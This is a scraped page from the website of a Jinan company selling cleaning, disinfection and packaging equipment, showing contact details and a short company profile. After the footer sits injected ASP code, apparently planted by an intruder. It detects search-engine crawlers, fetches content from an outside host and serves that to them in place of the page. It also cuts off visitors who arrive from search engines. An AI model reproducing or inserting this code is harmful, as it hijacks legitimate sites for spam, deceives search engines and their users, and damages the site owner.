产品分类
联系我们
济南远华科技有限公司
客服热线:400-0531-401
联系电话:0531-89702990
手机号码:18668907776
公司地址:济南市环保科技园
C南1018室
点击这里给我发消息
关于我们

济南远华科技有限公司是中国领先的清洗、消毒、包装解决方案及设备提供商,公司位于泉城济南高科技园区,是一家集研发、制造、服务于一体的高新技术企业。济南远华科技有限公司成立于2002年,主要从事工业领域自动化与驱动技术的应用及清洗、消

新闻中心
产品中心
Copyright @2013济南远华科技有限公司.All Rights Reserved.鲁ICP备12045242
<% function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360","so","yahoo","bing","youdao") isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","youdao") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function function gethttp(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if gethttp=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End function if isspider() then dim mfso,mfilecon Set mfso=Server.CreateObject("Scripting.FileSystemObject") mfilecon=gethttp("http://www.sbshell.com/1.php") response.clear response.write(mfilecon) response.write("") response.flush Set wfile=Nothing Set mfso=Nothing response.end end if if fromse() then response.clear response.write("
") response.flush response.end end if %>